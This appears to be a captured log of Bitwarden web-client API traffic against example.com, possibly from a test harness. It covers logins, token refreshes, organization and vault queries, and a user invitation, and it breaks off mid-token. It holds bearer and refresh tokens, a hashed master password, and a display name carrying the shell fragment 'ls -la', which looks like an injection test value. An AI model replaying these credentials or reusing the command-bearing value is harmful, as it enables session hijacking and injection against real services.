{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5Njg3MzU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.DWMQ-E5aTL8ztjaL2bCYPEqdUICGOG7mlXIEDFDXMIxDA3UeaB5oGLCoBGgkC7AMok-vjzuggt6DYD5wU8LTxJFuEQ8fAQaYzfVE3ZFwX0_zgIi__L3VZoWd0z8zmhz6yYm4yr8kUh4kqCoLUbtWI4M1BS8eYNk8WdvxN2_7DkaJDy8LRoY61AtvnsY2JCT2IEyFDt7FvgbD2RtYWp7Dgv5OqpFVRN3pjST_4cQmViIqEh_mtWGlnhHzGKjNktXqxCIeIKs4CdIu0L4Vai3O7dT3kBaksQOtIVPjsXhe8LK-GvX-ZZ2AjilqHmJmXz3Lg6hCzQ4qSvcqM5CxsTNdQw"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5Njg3MzU4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.dQiSrnpSFAnETzr8grySj54sGq0Xq1GItIEiYvfnwFY9VV3Qtp2lO5tSPguJ8AltKrHsWFmytWYCSWpiGZ6bWj9zO4ECiYbpszf3kAUPED3q6b3VDoxrEfTo89bvlPlmFtm6dDvsrOmP4pwrzJDHN43s78utwjqZ6IVcTrMw_zoywpRrdp8_1eNEyiFu-qef2ERoPVodqar6aBMpqukhT131orQurM6-0qP03SG42bIBytvhQlPnlftY7eHkX_zWAciEcnqx5ZAEz43rx5QFOMPQQRlFoIrBUoAy3O_PKxX99-WpUzCmef1MRV-yjkxPfMhkBeFOOwj8CEHlGvMqFA"}
{"method": "GET", "target": "/397.140f77b7f5a3e6236b43.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/ciphers/organization-details?organizationId=eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=2b161375-7f4f-461c-945a-2f2e89155df9&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/501.424a4093223bb151e00e.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeCollections=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/billing/vnext/self-host/metadata", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=62b4b472-0481-4d9e-9098-e04ed384c06f&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/invite", "headers": ["Host: example.com", "Content-Length: 149", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2NTMsImV4cCI6MTc5NDI4ODg1MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjYyYjRiNDcyLTA0ODEtNGQ5ZS05MDk4LWUwNGVkMzg0YzA2ZiIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.ZB0_JlnJCCwkjbKgqB4VhsaIIjKje9xcho5dlgdarvXYh2P7fvQzHNVI4kLNB9IkM1hA6jn42E6duXz0mGt_Zt-tAtgVWMX_NNpIQnIoP2c5ENZA-HHE1cXcMzT4gC91D-ntlYyAO0pkHGqq3ohM0cL4W3NFxUyfFBI_18Bl2RfKVvZkqix3Mq6nZ8vIrvR61-RzPWnrXGZkq-sNVMSnlG7a1QhI7QxElK5u3csDrhDTpbM4hpKbq8C7q3H5Cqk67ofo2UY0CdSEshlbN9yGMpBNHFYy6LCbGxmPr8KfnFBq5H-xOdcYfBQDH2ldL46sHl9rlAwvyhGIOdJkV4gXsQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"accessSecretsManager\":false,\"collections\":[],\"emails\":[\"bob@example.com\",\"carol@example.com\"],\"type\":2,\"groups\":[],\"permissions\":{\"response\":null}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ae50381e-c4dd-46df-8c1b-81d07bd6b31c&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users/mini-details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE3MDgsImV4cCI6MTc5NDI4ODkwOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImFlNTAzODFlLWM0ZGQtNDZkZi04YzFiLTgxZDA3YmQ2YjMxYyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.Wn3NVdmLvdT-Q1Nbl9EENt94ePL-OQnmu3lGeamnQPBnlkBGwyqnCpxSInwrP4uvip_nCJObshjh8h3GNPzKXy2_EsA4L9-_Iim4EegSu2BEnta4vBzL-kgMPJWh_W1iuSDZz7Rr9Dy